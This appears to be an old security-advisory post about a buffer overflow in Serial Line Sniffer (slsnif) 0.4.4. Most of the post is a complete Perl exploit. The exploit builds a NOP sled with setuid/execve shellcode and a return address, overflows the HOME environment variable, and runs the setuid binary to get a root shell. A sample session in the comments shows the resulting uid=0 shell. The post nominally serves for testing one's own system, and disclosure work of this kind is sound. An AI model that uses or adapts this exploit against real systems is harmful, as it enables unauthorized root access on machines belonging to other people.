[EXPL] Serial Line Sniffer Buffer Overflow (Exploit)

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Serial Line Sniffer Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

<http://freshmeat.net/projects/slsnif/> slsnif is "a serial port logging
utility. It listens to the specified serial port and logs all data going
through this port in both directions".

Serial Line Sniffer Buffer has been found to be vulnerable to buffer
overflow, the following exploit code can be used to test your system for
the mentioned vulnerability.

DETAILS

Vulnerable Systems:
* Serial Line Sniffer version 0.4.4

Exploit:
# Author: Sintigan@xxxxxxxxxxxxxxx
# http://www.shellcoders.com/
# ----------------------------------------
# Program ID: Serial Line Sniffer 0.4.4
#
# sintigan@midnight:/home/sintigan$ perl slsnif-ploit.pl
# sh-3.00# id
# uid=0(root) gid=100(users) groups=100(users)
# ---------------------------------------
#
# Greetz to Elohimus, Melkor, Modzilla, tgo, asTHma, and bk
# and whoever else i forgot
#

#!/usr/bin/perl
$shellcode = "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73" .
"\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

$buf = 288;
$ret = 0xbffff3a0;
$nop = "\x90";
$offset = -250;

if (@ARGV == 1) { $offset = $ARGV[0]; }

for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}

$buffer .= $shellcode;
$addr = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $buf; $i += 4) {
$buffer .= $addr;
}
$ENV{'HOME'} = $buffer; exec("/usr/local/bin/slsnif");


ADDITIONAL INFORMATION

The information has been provided by <mailto:Sintigan@xxxxxxxxxxxxxxx>
Sintigan.
The original article can be found at:
<http://shellcoders.com/sintigan/slsnif-ploit.pl>
http://shellcoders.com/sintigan/slsnif-ploit.pl



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